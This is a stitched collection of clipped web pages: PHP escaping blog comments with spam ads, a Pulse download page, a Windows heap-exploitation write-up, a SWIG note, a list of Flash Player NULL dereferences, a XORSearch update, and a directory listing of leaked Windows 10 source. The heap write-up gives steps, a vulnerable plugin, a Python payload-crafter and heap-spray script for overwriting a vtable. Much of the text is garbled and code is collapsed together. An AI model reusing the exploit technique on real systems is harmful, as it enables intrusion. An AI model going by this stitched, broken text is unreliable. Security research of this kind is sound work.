the lib – non UTF-8 in PHP 5.3, etc.

  * http://www.facebook.com/brazilinvestment1 Guilherme Almeida
Not without flaws I thought. Not too familiar with XHP but remember it used
basic htmlspecialchars\(\) calls, with no optional params set, somewhere in
the lib – non UTF-8 in PHP 5.3, casas

  * http://www.facebook.com/brazilinvestment1 Guilherme Almeida
You want to  
invest in Brazil  
?

Access Brazilinvestment.com.br

  * http://www.facebook.com/brazilinvestment1 Guilherme Almeida
You want to  
invest in Brazil?

Access Brazilinvestment.com.br

  * http://www.survivethedeepend.com Pádraic Brady
Feel free to submit a Module for Latte <img src='img/Temp2_944.gif' alt=';)'
/> .

  * Anonymous
“So, rather than muddy the waters with confusing object-proxies and expending
too many CPU cycles for too little of a benefit, ZF 2.0 is back on manual
escaping.”

as i am sure you are aware this isn’t really a problem when using a template
language like twig since it neither has to use proxies nor wastes CPU cycles
escaping things which don’t need to be escaped.

also like you are aware all it takes for the attacker to find one whole to
jump through. yet fixing 80% of potential issues means that it might take that
much longer for the attacker to find a vector. so in that sense automatic
escaping even with just one type of context by file does help a bit.

but you are obviously right that users still need to understand what the hell
they are doing.

—

on the general topic, its kinda interesting what Etsy is doing .. they are
essentially escaping everything that comes in and are unescaping on a need
basis. obviously this doesn’t solve the context aware escaping problem at all,
but it means that they can grep for all the places where things get unescaped.
of course it means wasting CPU cycles \(though i assume if it matter a lot
they will move that to C code\). anyways .. not a silver bullet either .. but
sounded like a unique approach that seems to work for them .. though they have
lots of other interesting tools to monitor code pushes but also attackers
while they are doing their thing.

  * http://blog.astrumfutura.com Pádraic Brady
You’re quite right – proxying objects is only necessary in PHP templates
\(since there is no “compilation” phase where escape\(\) calls can be
injected\). On the 2nd point, my rationale is simply that whether you manually
type escape\(\) or have it compiled into a template automatically, it doesn’t
solve the knowledge gap that is at the root of the article. Manual escaping
omissions \*should\* be detectable easily – so the only people omissions are
going to impact are those who don’t have that process of detection in place
\(back to blind reliance…this time in one’s own flawless attention\) or those
who don’t know that using escape\(\) functions is essential \(the ones auto-
escaping truly help – but also the ones least likely to spot problems related
to context changes\).

Etsy’s approach wouldn’t resolve context either, it sounds like. I’m not
familiar with their specific approach though\!

# All Pulse OS Installs | Pulse OS Support
**Created:**| _6/20/2010 10:30:55 PM_  
---|---  
**Updated:**| _6/20/2010 10:31:07 PM_  
**Author:**| __  
**Tags:**| _plugin programming Eclipse_  
  

# All Pulse Downloads

The following downloads are available for Pulse. We recommend you use the
first download listing for each operating system, as that will result in the
easiest Pulse installation experience. Note that unless instructed otherwise
when using Pulse, you should never need to return here to download this
software again unless you are installing Pulse on another system.

| version history | road map | end-user license agreement  
---|---  
<img src='img/Temp2_514.jpg' />| Windows for XP and above  
  
**pulse3-win32.exe**|  | **Executable**  
For the easiest experience, install using a native executable.  
**pulse3-win32.zip**|  | **Zip of Stand-alone Installer  
** Allows you to install Pulse using an Eclipse-based product.  
**pulse3-win64.zip**|  | **Zip of Installer for 64 bit PCs \(Experimental\)  
** Experimental support for installing with 64bit JREs on Windows.  
<img src='img/Temp2_513.jpg' />| Macintosh OS X for version 10.4 and above  
**pulse3-macosx.tgz**|  | **Tar Bundle**  
Open the disk image and double-click the Pulse icon to install Pulse.  
<img src='img/Temp2_515.jpg' />| Linux for most GTK-based x86 systems  
**pulse3-linux-gtk-x86.tgz**|  | **Tar Bundle**  
Extract the bundle and run pulse-install to configure Pulse on your system.  
**pulse3-linux-gtk-x86\_64.tgz** |  | **Tar Bundle for 64 bit PCs \(Experimental\)  
** Extract the bundle and run pulse-install to configure Pulse on your system.

# Appendum to “How Safe is your Link ?” – how to fool LFH | @zer0mem
**Created:**| _9/27/2013 10:53:40 AM_  
---|---  
**Updated:**| _9/27/2013 10:54:17 AM_  
**Author:**| __  
**Tags:**| _windows security windows environment Heap win8_  
  

# Appendum to “How Safe is your Link **?** ” – how to fool LFH****

Heap overflow bug can potentionaly lead to alter heap in that way, that you
can rule on its allocation / deallocation mechanism**.** Nowdays it is litle
bit harder, because you need to fullfill some subset of prerequisities for
choosen technique, and it is in more than less case not possible**.**  

This post will describe how to break even LFH trough plugin, custom PoC for
IE10 on win8 CP, vulnerable to winXP-8CP backend attack**.**

<img src='img/Temp2_856.jpg' alt='ace_eip_badf00d' />

Prerequisites for this blogpost is to read details about introduced
exploitation technique :

PoC plugin brief info :

  * block all sites except c:\exploitme.html
  * In case of accessing google.com 
    * load & parse c:\blocklist.log
    * parsing file can cause creating another small same sized objects \(with vtable\) on the heap**\!**
  * \(at least one \) heap buffer overflow bug 
|  \_\_checkReturn bool CEnigmaPlugIn::CollectBlockFilters\(
\_\_in\_bcount\(size\) const void\* buff, \_\_in size\_t size, BYTE deep /\*=
0\*/ \) //..**.** if \(m\_temp0.GetSize\(\) >= block->StringSize\)
block\_filter->ReHash\(\); \*\(\(ULONG\_PTR\*\)m\_temp0.GetMemory\(\) + 1\) =
block\_filter->GetProxyHS\(\)->Hash; //overflow only in special case of
size**\!****\!** memcpy\( \(WCHAR\*\)m\_temp0.GetMemory\(\) + 2 \*
sizeof\(ULONG\_PTR\), block\_filter->GetProxyHS\(\)->UniString.Buffer,
block\_filter->GetProxyHS\(\)->UniString.Length \* sizeof\(WCHAR\) //overflow
of \(2 \* sizeof\(ULONG\_PTR\)\) \* sizeof\(WCHAR\)\) //overwrite
m\_leak\_ultiSentinel return true;  
---|---  

**Introduced BackEnd exploitation & fooling LFH** :

  * Initial state of plugin custom heap : 
|  CAutoMalloc m\_temp0;//can be overflowed CAutoMalloc
m\_leak\_ultiSentinel;//overflow results to overwrite CAutoMalloc m\_temp1;
CAutoMalloc m\_duplo; CAutoMalloc m\_temp2; CAutoMalloc m\_unlinkerForever;  
---|---  
<img src='img/Temp2_855.jpg' alt='decomposition' />

kinda weird, but it will be exaplained soon …

  * Due to present heap overflow bug, resizable chunk, and nature of file buffer used in plugin code, is possible to do small leak & reusing already used memory – for details of this technique read mentioned materials 
|  class CAutoMalloc public: CAutoMalloc\(\_\_in size\_t size\) m\_size = 0;
m\_mem = MEMORY.alloc\(size\); if \(m\_mem\) m\_size = size; ~CAutoMalloc\(\)
if \(m\_mem\) MEMORY.free\(m\_mem\); \_\_checkReturn bool Resize\(\_\_in
size\_t size\) void\* t\_mem = MEMORY.alloc\(size\); if \(t\_mem\) if
\(m\_mem\) //memcpy\(t\_mem, m\_mem, min\(size, m\_size\)\);
MEMORY.free\(m\_mem\); m\_mem = t\_mem; m\_size = size; return true; m\_size =
0; return false; //..**.** \_\_checkReturn bool
CEnigmaPlugIn::CollectBlockFilters\( \_\_in\_bcount\(size\) const void\* buff,
..**.** //... while \(5\*m\_filterPos/4 >= m\_leak\_ultiSentinel.GetSize\(\) /
2\) m\_leak\_ultiSentinel.Resize\(m\_leak\_ultiSentinel.GetSize\(\) \* 2\);
m\_leak\_ultiSentinel.Resize\(m\_leak\_ultiSentinel.GetSize\(\) \* 2\);
//..**.** void CEnigmaPlugIn::ReLoadBlockList\(\) CFileReader
file\("c:/blocklist.log"\); if \(file.GetSize\(\) > 0x100000\) return;
CAutoMalloc auto\_mem\(file.GetSize\(\)\); void\* file\_buff =
auto\_mem.GetMemory\(\); if \(file\_buff\) file.ReadFrom\(file\_buff,
auto\_mem.GetSize\(\), 0\); CollectBlockFilters\(file\_buff,
auto\_mem.GetSize\(\)\);  
---|---  
  * As i mentioned in plugin are created small vtable objects on the fly 
|  \#define MIN\_URL\_SIZE \(1 << 7\) struct HASH\_STRING ULONG\_PTR Hash;
WSTRING UniString; private: WCHAR buff\[MIN\_URL\_SIZE+ 1\]; class CFilter
public: virtual bool GetFilter\(\_\_inout void\* buff\) = 0; class
CBlockFilter : public CFilter //**.**.functions.. HASH\_STRING m\_hstr;
\_\_checkReturn bool CEnigmaPlugIn::CollectBlockFilters\(
\_\_in\_bcount\(size\) const void\* buff, ..**.** CBlockFilter\* block\_filter
= \(CBlockFilter\*\)New\(sizeof\(CBlockFilter\)\); ::new\(block\_filter\)
CBlockFilter\(\(BYTE\*\)\(block + 1\) + block->StringPos, block->StringSize\);  
---|---  
size of object CBlockFilter is small, and with old know 0×12 consecutive
allocations is possible to trigger creation of LFH userdata block**.** So
final plan is :

    * leak memory chunk \(MEM\_X\), which size > particular LFH userdata block \(LFH\_BLOCK\_X\) size
    * alloc MEM\_X once as user writeable buffer
    * relink MEM\_X back to heapsprayed data, where it was originaly placed …
    * trigger to alloc LFH\_BLOCK\_X, but in MEM\_X **\!** <img src='img/Temp2_853.jpg' alt='acestate0' />
    * but **fail****\!** This time it seems, something goes wrong \(or unexpected right**\!** in view of defender – validity checks are fully implemented **?** \) …

**ListsInUseUlong** , last man standing :

  * when is trigerred LFH some additional pre-allocation is performed and  _\_HEAP\_LIST\_LOOKUP.ArraySize_ is updated \(depending if ListHints contains bigger chunk than LFH try to alloc\)**.**
  * In this state of heap is performed another search -> by using ListsInUseUlong**\!**
<img src='img/Temp2_852.jpg' alt='icemelting' />

  * Search by walking trough ListHints is validation free approach, and in that case we have no problem 
<img src='img/Temp2_858.jpg' alt='searchwalkinlisthints' />

  * But search by walking trough ListsInUseUlong, is kinda another approach <img src='img/Temp2_854.jpg' alt='searchlistinuseulong' /> again no validating, this counts for us, but to the ListsInUseUlong is memory chunk inserted when it is freed and also cleared when it is allocated**.** Problem is, that we already allocated our memory chunk and due to this it is cleared from ListsInUseUlong, and in attemp to find chunk for LFH userdata block is used ListsInUseUlong… So how to insert it back **?**
  * ListsInUseUlong is just **bitmap** and thats it**\!** Bitmap is able to cover just _one deputy per size_ , and due this have to be clear another option how to link something back even it is already used… 
<img src='img/Temp2_857.jpg' alt='listsinuseulongupdate' />

In other words, if \_HEAP\_ENTRY\(FLink\).Size is same size then bit is not
cleared and

_\_HEAP\_LIST\_LOOKUP.ListHints_ is updated by this FLink

  * Make an update in logic : 
    * leak memory chunk \(MEM\_X\), which size > particular LFH userdata block \(LFH\_BLOCK\_X\) size \[insert MEM\_X to ListInUseUlong\]
    * alloc MEM\_X once as user writeable buffer \[clear MEM\_X from ListInUseUlong\]
    * relink MEM\_X back to heapsprayed data, where it was originaly placed …
    * _free already used memory chunk \(MEM\_Y\) same size as MEM\_X_ – link MEM\_Y to HeapSpray just before MEM\_X; MEM\_Y.Flink == MEM\_X && MEM\_X.Blink == MEM\_Y \[update ListInUseUlong by MEM\_Y\]
    * _alloc memory chunk which use MEM\_Y_ **\[update ListInUseUlong by MEM\_X\]**
    * everything is fine, LFH userdata is used for CBlockFilter object as well as for user writable buffer <img src='img/Temp2_851.jpg' alt='acefinalstate' />
    * now just rewrite some of the VTABLE :P

Implementation :

  * Python craft “c:/blocklist.log” includes 3phases: 
    * Link Leak back to ListInUseUlong
    * Alloc Leak also as LFH & rewrite some vtable object
|  def CraftForExploit2\(self\): self**.** m\_ebin.write\("\x00" \* 0x08\)
return def CraftForExploit1\(self\): a\_size = 0 for i in range\(0, 0x13\):
b\_size = 0 if \(i **\!** = 0x12\):  if \(i == 0x11\):  bfr = self**.**
\_\_GetDummyRes\(STR\_SIZE - 4, 0, STR\_SIZE - 4, 0, i\) heap\_entry =
HEAP\_ENTRY\(0, 0x4141, 0x41, 0x41, 0x23404408\) b\_size = self**.**
\_\_WriteBfrToEBin\(bfr, heap\_entry, "\x00", 1\) else:  bfr = self**.**
\_\_GetDummyRes\(STR\_SIZE, 0, STR\_SIZE, 0, i\) b\_size = self**.**
\_\_WriteBfrToEBin\(bfr, \[\], "\x00", 1\) else:  bfr = self**.**
\_\_GetDummyRes\(0, 0, 0, 0, i\) b\_size = self**.** \_\_WriteBfrToEBin\(bfr,
\[\], "\x00", 1\) a\_size += b\_size print hex\(a\_size\) self**.**
m\_ebin.write\("\x00" \* \(\(\(0x3000 / 8 - 3\) \* 8\) - a\_size\)\)\#align
return def CraftForExploit3\(self\): a\_size = 0 bfr = self**.**
\_\_GetDummyRes\(0x10, 0x10, 0x10, 0x10, 0x666\) bfr.Crypted = 1; a\_size
+=self**.** \_\_WriteBfrToEBin\(bfr, \[\], "\x00", 1\) bfr = self**.**
\_\_GetDummyRes\(BFR\_SIZE, 0, 0x10, 0x280 \* 8 \* 2, 0x667\) bfr.Crypted = 1;
print \["**\!****\!**\!\!**\!****\!**\!\!**\!** ", hex\(bfr.CryptoSize\)\]
a\_size +=self**.** \_\_WriteBfrToEBin\(bfr, \[\], "\x00", 1\) for i in
range\(0, 10\): bfr = self**.** \_\_GetDummyRes\(STR\_SIZE + 0x10, STR\_SIZE +
0x10, STR\_SIZE + 10, 0, 20\) a\_size += self**.** \_\_WriteBfrToEBin\(bfr,
\[\], "\x20\x44\x40\x23", 4\) print hex\(a\_size\) self**.**
m\_ebin.write\("\x00" \* \(0x1000 - a\_size\)\)\#align return  
---|---  
  * html5 heap spray -js handling 
    * just relink Leak back
|  var HEAP\_BLOCK\_SIZE = \(0x1000000 \* 6\); var MEMORY\_CHANGED = 0x666;
function MemoryChangeDetected\(pos, ind\) //relink back**\!** m\_memory\[pos +
ind\] = m\_data\[ind\]; return false;  
---|---  

**Referenced materials** **:**

This post & idea of technique is based on talk by Brett Moore’s Exploiting
Freelist\[0\] On XP Service Pack 2 and on talk by Matt Conover & Oded Horovitz
Windows Heap Exploitation **.**

And also should be readed some mittigation materials Fermín J. Serna :
Exploits & Mitigations: EMET ; Ken Johnson, Matt Miller Exploit Mitigation
Improvements in Windows 8 **.**

_**Conclusions** :_ As was mentioned in presentation How Safe is your Link
**?** security implementation needs to be implemented whithout shorcuts**.**  
As you can see ListInUseUlong bitmaps usage and logic is imeplemented
correctly\* **.** Set and clear bitmap ensures that in
_\_HEAP\_LIST\_LOOKUP.ListHints_ are only valid memory chunks and that implies
secure alloc / free**.** But ‘non-secure’ FreeListSearch algo introduced in
previous post allow to bypass ListInUseUlong safe mechanism**.**  
So keep in mind that even small security hole can cause troubles and break
down another secure processing…

Vulnerable plugin, and **.** py script for crafting data for this plugin as
well, are both just illustrative and not important too much, so i did not it
include to sources on github**.** These was used just for illustrating of idea
itself – but if you want to see that, i will provide it to you, just ping me
on my email

> \* AGAIN except missed validation check when checked if FLink is same sized
> **.**
\[ Implementation of this attack on HeapsAboutCorruption project \]

# Getting started on Windows

**Created:**| _5/31/2011 10:04:42 PM_  
---|---  
**Updated:**| _5/31/2011 10:04:59 PM_  
**Author:**| __  
**Tags:**| _programming windows environment interop_  
  

## 3.4 Microsoft extensions and other Windows quirks

A common problem when using SWIG on Windows are the Microsoft function calling
conventions which are not in the C++ standard. SWIG parses ISO C/C++ so cannot
deal with proprietary conventions such as `__declspec(dllimport)`, `__stdcall`
etc. There is a Windows interface file, `windows.i`, to deal with these
calling conventions though. The file also contains typemaps for handling
commonly used Windows specific types such as `__int64`, `BOOL`, `DWORD` etc.
Include it like you would any other interface file, for example:

[code]

    %include <windows.i>
    
    __declspec(dllexport) ULONG __stdcall foo(DWORD, __int32);
    
    
[/code]

# Reversing on Windows: 251 Potential NULL Pointer Dereferences in Flash
Player

**Created:**| _7/16/2014 10:13:42 AM_  
---|---  
**Updated:**| _7/16/2014 10:13:42 AM_  
**Author:**| __  
**Tags:**| _Exploit vulnerability_  
  

# 251 Potential NULL Pointer Dereferences in Flash Player

251 potential NULL pointer dereference issues have been identified in Flash
Player 14 by pattern matching approach. The file examined is
NPSWF32\_14\_0\_0\_145.dll \(17,029,808 bytes\).  
  
The issues are classified as CWE-690: Unchecked Return Value to NULL Pointer
Dereference.  
  
I don't copy&paste all the issues in this blog post but bringing up few
examples.

####  First Example

0:012> uf 5438a1d0  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f6b:  
5438a1d0 f6410810 test byte ptr \[ecx+8\],10h  
5438a1d4 8b4104 mov eax,dword ptr \[ecx+4\]  
5438a1d7 7411 je NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f85 \(5438a1ea\)  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f74:  
5438a1d9 85c0 test eax,eax  
5438a1db 740b je NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f83 \(5438a1e8\)  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f78:  
5438a1dd 8b4c2404 mov ecx,dword ptr \[esp+4\]  
5438a1e1 8b448808 mov eax,dword ptr \[eax+ecx\*4+8\]  
5438a1e5 c20400 ret 4  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f83:  
5438a1e8 33c0 xor eax,eax <\--Set return value to NULL  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f85:  
5438a1ea c20400 ret 4 <\--Return with NULL  
0:012> u 5438a47b L2  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf7216:  
5438a47b e850fdffff call NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xf6f6b
\(5438a1d0\)  
5438a480 8a580c mov bl,byte ptr \[eax+0Ch\] <\--Dereference NULL

####  Second Example

0:012> uf 54362e60  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfbfb:  
54362e60 8b4128 mov eax,dword ptr \[ecx+28h\]  
54362e63 8b4c2404 mov ecx,dword ptr \[esp+4\]  
54362e67 3b4804 cmp ecx,dword ptr \[eax+4\]  
54362e6a 7205 jb NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfc0c \(54362e71\)  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfc07:  
54362e6c 33c0 xor eax,eax <\--Set return value to NULL  
54362e6e c20400 ret 4 <\--Return with NULL  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfc0c:  
54362e71 56 push esi  
54362e72 8b748808 mov esi,dword ptr \[eax+ecx\*4+8\]  
54362e76 56 push esi  
54362e77 e8e4b0faff call NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x7acfb
\(5430df60\)  
54362e7c 83c404 add esp,4  
54362e7f 85c0 test eax,eax  
54362e81 7407 je NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfc25 \(54362e8a\)  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfc1e:  
54362e83 8b4010 mov eax,dword ptr \[eax+10h\]  
54362e86 5e pop esi  
54362e87 c20400 ret 4  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfc25:  
54362e8a 8bc6 mov eax,esi  
54362e8c 83e0f8 and eax,0FFFFFFF8h  
54362e8f 5e pop esi  
54362e90 c20400 ret 4  
0:012> u NPSWF32\_14\_0\_0\_145+006b4eb2 L2  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xd1c4d:  
54364eb2 e8a9dfffff call NPSWF32\_14\_0\_0\_145\!BrokerMainW+0xcfbfb
\(54362e60\)  
54364eb7 8b7004 mov esi,dword ptr \[eax+4\] <\--Dereference NULL

####  Third Example

0:012> uf 5429979a  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x6535:  
5429979a 0fb74108 movzx eax,word ptr \[ecx+8\]  
5429979e 48 dec eax  
5429979f 48 dec eax  
542997a0 740c je NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x6549 \(542997ae\)  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x653d:  
542997a2 83e815 sub eax,15h  
542997a5 7403 je NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x6545 \(542997aa\)  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x6542:  
542997a7 33c0 xor eax,eax <\--Set return value to NULL  
542997a9 c3 ret <\--Return with NULL  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x6545:  
542997aa 8d4110 lea eax,\[ecx+10h\]  
542997ad c3 ret  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x6549:  
542997ae 8d410c lea eax,\[ecx+0Ch\]  
542997b1 c3 ret  
0:012> u NPSWF32\_14\_0\_0\_145+005f3423 L2  
NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x101be:  
542a3423 e87263ffff call NPSWF32\_14\_0\_0\_145\!BrokerMainW+0x6535
\(5429979a\)  
542a3428 8038fe cmp byte ptr \[eax\],0FEh <\--Dereference NULL  
  
You can find a list of 251 potential NULL pointer dereferences in Flash Player
here.

# Update: XORSearch Version 1.9.2 | Didier Stevens
**Created:**| _10/23/2013 10:05:32 AM_  
---|---  
**Updated:**| _10/23/2013 10:06:25 AM_  
**Author:**| __  
**Tags:**| _security tools Forensics_  
  

# **U** pdate: XORSearch Version 1.9.2****

Filed under: Forensics ,My Software ,Update — Didier Stevens @ 5:00

I’ve been asked many times to support 32-bit keys with my XORSearch tool **.**
But the problem is that a 32-bit bruteforce attack would take too much
time**.**

Now I found a solution that doesn’t take months or years: a 32-bit dictionary
attack**.**

I assume that the 32-bit XOR key is inside the file as a sequence of 4
consecutive bytes \(MSB or LSB\)**.**

If you use the new option -k, XORSearch will perform a 32-bit dictionary
attack to find the XOR key**.** The standard bruteforce attacks are disabled
when you choose option -k**.**

XORSearch will extract a list of keys from the file: all unique sequences of 4
consecutive bytes \(MSB and LSB order\)**.** Key 0×00000000 is excluded. Then
it will use this list of keys to perform an XOR dictionary attack on the file,
searching for the string you provided**.** Each key will be tested with an
offset of 0, 1, 2 and 3**.**

It is not unusual to find the 32-bit XOR key inside the file itself**.** If it
is a self-decoding executable, it can contain an XOR x86 instruction with the
32-bit key as operand**.** Or if the original file contains a sequence of 0×00
bytes \(4 consecutive 0×00 bytes at least\), then the encoded file will also
contain the 32-bit XOR key**.**

Here is a test where XORSearch.exe searches a 0xDEADBEEF XOR encoded copy of
itself**.** With only 74KB, there are still 100000+ keys to test, taking
almost 10 minutes on my machine:

<img src='img/Temp2_8733.png' alt='20131013-233829' />

XORSearch\_V1\_9\_2.zip \(https \)  
MD5: BF1AC6CAA325B6D1AF339B45782B8623  
SHA256: 90793BEB9D429EF40458AE224117A90E6C4282DD1C9B0456E7E7148165B8EF32

  

##  

# Windows 10 Source code leak enum

**Created:**| _6/29/2017 4:02:35 PM_  
---|---  
**Updated:**| _6/29/2017 4:03:40 PM_  
**Author:**| __  
**Tags:**| __  
  

  

[code]

    Folder PATH listing
    Volume serial number is 0E3E-068D
    C:.
    │   tree.txt
    │   
    ├───Audio
    │   ├───portcls
    │   │   ├───inc
    │   │   │       kso.h
    │   │   │       ksshellp.h
    │   │   │       pcwpptr.h
    │   │   │       perf.h
    │   │   │       portclsp.h
    │   │   │       tracelogging.h
    │   │   │       verifier.h
    │   │   │       
    │   │   ├───main
    │   │   │       callback.cpp
    │   │   │       dma.cpp
    │   │   │       event.cpp
    │   │   │       irpstrm.cpp
    │   │   │       kso.cpp
    │   │   │       minihelp.cpp
    │   │   │       perf.cpp
    │   │   │       portcls.cpp
    │   │   │       portcls.def
    │   │   │       portcls.rc
    │   │   │       porthelp.cpp
    │   │   │       porttbl.cpp
    │   │   │       power.cpp
    │   │   │       private.h
    │   │   │       property.cpp
    │   │   │       registry.cpp
    │   │   │       resource.cpp
    │   │   │       runtime.cpp
    │   │   │       service.cpp
    │   │   │       shmisc.cpp
    │   │   │       sync.cpp
    │   │   │       tracelogging.cpp
    │   │   │       validate.cpp
    │   │   │       validate.h
    │   │   │       
    │   │   ├───miniport
    │   │   │   ├───fmsynth
    │   │   │   │       miniport.cpp
    │   │   │   │       miniport.h
    │   │   │   │       private.h
    │   │   │   │       
    │   │   │   └───uart
    │   │   │           miniport.cpp
    │   │   │           MPU.cpp
    │   │   │           private.h
    │   │   │           
    │   │   └───ports
    │   │       └───dmus
    │   │               allocatr.cpp
    │   │               allocatr.h
    │   │               basicmxf.h
    │   │               captsink.cpp
    │   │               captsink.h
    │   │               feedin.cpp
    │   │               feedin.h
    │   │               feedout.cpp
    │   │               feedout.h
    │   │               filter.cpp
    │   │               mxf.h
    │   │               packer.cpp
    │   │               packer.h
    │   │               parse.h
    │   │               pin.cpp
    │   │               port.cpp
    │   │               private.h
    │   │               sequencr.cpp
    │   │               sequencr.h
    │   │               splitter.h
    │   │               unpacker.cpp
    │   │               unpacker.h
    │   │               
    │   └───Test
    │       ├───AC3Tst
    │       │       AC3Tst.cpp
    │       │       AC3Tst.h
    │       │       AC3Tst.rc
    │       │       kstests.cpp
    │       │       regress.cpp
    │       │       resource.h
    │       │       tests.h
    │       │       version.rc
    │       │       wotests.cpp
    │       │       
    │       ├───AdapterPowerManagement
    │       │       AdapterPowerManagement3.cpp
    │       │       AdapterPowerManagement3.h
    │       │       AdapterPowerManagementTest.cpp
    │       │       AdapterPowerManagementTest.h
    │       │       CallController.cpp
    │       │       CallController.h
    │       │       common.h
    │       │       DeviceResponsivenessTest.cpp
    │       │       DeviceResponsivenessTest.h
    │       │       DeviceSupport.cpp
    │       │       DeviceSupport.h
    │       │       FmController.cpp
    │       │       FmController.h
    │       │       PortClsEventLogger.cpp
    │       │       PortClsEventLogger.h
    │       │       SetupApiHelper.cpp
    │       │       SetupApiHelper.h
    │       │       version.rc
    │       │       
    │       ├───AudioLogo
    │       │       AudioLogo.cpp
    │       │       AudioLogo.h
    │       │       AudioLogo.rc
    │       │       Common.h
    │       │       Endpoint.cpp
    │       │       Glitch.cpp
    │       │       PullMode.cpp
    │       │       Render.cpp
    │       │       Resource.h
    │       │       TestCases.h
    │       │       
    │       ├───DRMTest
    │       │       adapter.cpp
    │       │       common.h
    │       │       device.cpp
    │       │       device.h
    │       │       drmapi.cpp
    │       │       drmapi.h
    │       │       drmtest.h
    │       │       drmtest.ico
    │       │       drmtest.rc
    │       │       include.cpp
    │       │       kshlp.cpp
    │       │       kshlp.h
    │       │       KSTest.cpp
    │       │       KSTest.h
    │       │       main.cpp
    │       │       PropertyStore.cpp
    │       │       PropertyStore.h
    │       │       resource.h
    │       │       testcases.h
    │       │       testflag.h
    │       │       util.cpp
    │       │       util.h
    │       │       version.rc
    │       │       
    │       ├───EffectsDiscovery
    │       │       common.h
    │       │       EffectsDiscoveryCPPTestCore.cpp
    │       │       EffectsDiscoveryCPPTestCore.h
    │       │       EffectsDiscoveryCPPTests.cpp
    │       │       EffectsDiscoveryCPPTests.h
    │       │       EffectsDiscoveryTaefClass.cpp
    │       │       EffectsDiscoveryTaefClass.h
    │       │       enter.cpp
    │       │       enter.h
    │       │       stringify.cpp
    │       │       stringify.h
    │       │       version.rc
    │       │       
    │       ├───ExtFxTst
    │       │       APO.cpp
    │       │       AudioRateConvertCMPT.cpp
    │       │       AudioVolume.cpp
    │       │       base.cpp
    │       │       base.h
    │       │       common.h
    │       │       DevSpecific.cpp
    │       │       External.cpp
    │       │       ExtSysFxTest.cpp
    │       │       ExtSysFxTest.h
    │       │       ExtSysFxTest.rc
    │       │       Resource.h
    │       │       sigverif.cpp
    │       │       TestCases.h
    │       │       version.rc
    │       │       
    │       ├───Gaudit
    │       │       allocator.cpp
    │       │       allocator.h
    │       │       audio.cpp
    │       │       audio.h
    │       │       audioengine.cpp
    │       │       audioengine.h
    │       │       audiogfx.cpp
    │       │       audiogfx.h
    │       │       channels.cpp
    │       │       channels.h
    │       │       common.h
    │       │       connection.cpp
    │       │       connection.h
    │       │       createp.cpp
    │       │       createp.h
    │       │       drmaudio.cpp
    │       │       drmaudio.h
    │       │       drmstruct.h
    │       │       ds3dbuffer.cpp
    │       │       ds3dbuffer.h
    │       │       ds3dlistener.cpp
    │       │       ds3dlistener.h
    │       │       eqbands.cpp
    │       │       eqbands.h
    │       │       framework.cpp
    │       │       Gaudit.cpp
    │       │       Gaudit.ico
    │       │       Gaudit.rc
    │       │       helper.cpp
    │       │       helper.h
    │       │       kmixer.cpp
    │       │       kmixer.h
    │       │       ksio.cpp
    │       │       ksio.h
    │       │       pins.cpp
    │       │       pins.h
    │       │       Resource.h
    │       │       synth.cpp
    │       │       synth.h
    │       │       synthdls.cpp
    │       │       synthdls.h
    │       │       sysaudio.cpp
    │       │       sysaudio.h
    │       │       testcase.h
    │       │       testcases.h
    │       │       topology.cpp
    │       │       topology.h
    │       │       topologynode.cpp
    │       │       topologynode.h
    │       │       util.cpp
    │       │       utils.h
    │       │       version.rc
    │       │       wdmaudio.cpp
    │       │       wdmaudio.h
    │       │       
    │       ├───HAPTest
    │       │       aac.h
    │       │       aoac.cpp
    │       │       aoac.h
    │       │       Apoevents.cpp
    │       │       buffer.cpp
    │       │       CSHelperClass.cpp
    │       │       CSHelperClass.h
    │       │       Events.cpp
    │       │       formats.cpp
    │       │       HAPTest.cpp
    │       │       HAPTest.h
    │       │       hardware.cpp
    │       │       HWAudioEngineEventLogger.cpp
    │       │       HWAudioEngineEventLogger.h
    │       │       initguid.cpp
    │       │       log.h
    │       │       loopbackprotect.cpp
    │       │       mix.cpp
    │       │       multiarray.h
    │       │       raw.cpp
    │       │       Registry.cpp
    │       │       resourcelist.cpp
    │       │       version.rc
    │       │       volume.cpp
    │       │       
    │       ├───kspostst
    │       │       EnhancedWaveRT_PinTest.cpp
    │       │       guid.cpp
    │       │       halfdup.cpp
    │       │       halfdup.h
    │       │       KsPosTestTaef.cpp
    │       │       KsPosTestTaef.h
    │       │       locallimits.h
    │       │       pintest.cpp
    │       │       PreComp.h
    │       │       TestResource.cpp
    │       │       TestResource.h
    │       │       TestResourceBuild.cpp
    │       │       tests.h
    │       │       timetest.cpp
    │       │       usbstream.h
    │       │       
    │       ├───KsTopTest
    │       │       common.h
    │       │       filtertests.cpp
    │       │       filtertests.h
    │       │       FilterTopGraph.cpp
    │       │       FilterTopGraph.h
    │       │       KsTopGraph.cpp
    │       │       KsTopGraph.h
    │       │       KsTopTest.cpp
    │       │       KsTopTest.h
    │       │       KsTopTest.ico
    │       │       KsTopTest.rc
    │       │       nodetests.cpp
    │       │       nodetests.h
    │       │       pintests.cpp
    │       │       pintests.h
    │       │       proptests.cpp
    │       │       proptests.h
    │       │       Resource.h
    │       │       TestCases.cpp
    │       │       TestCases.h
    │       │       version.rc
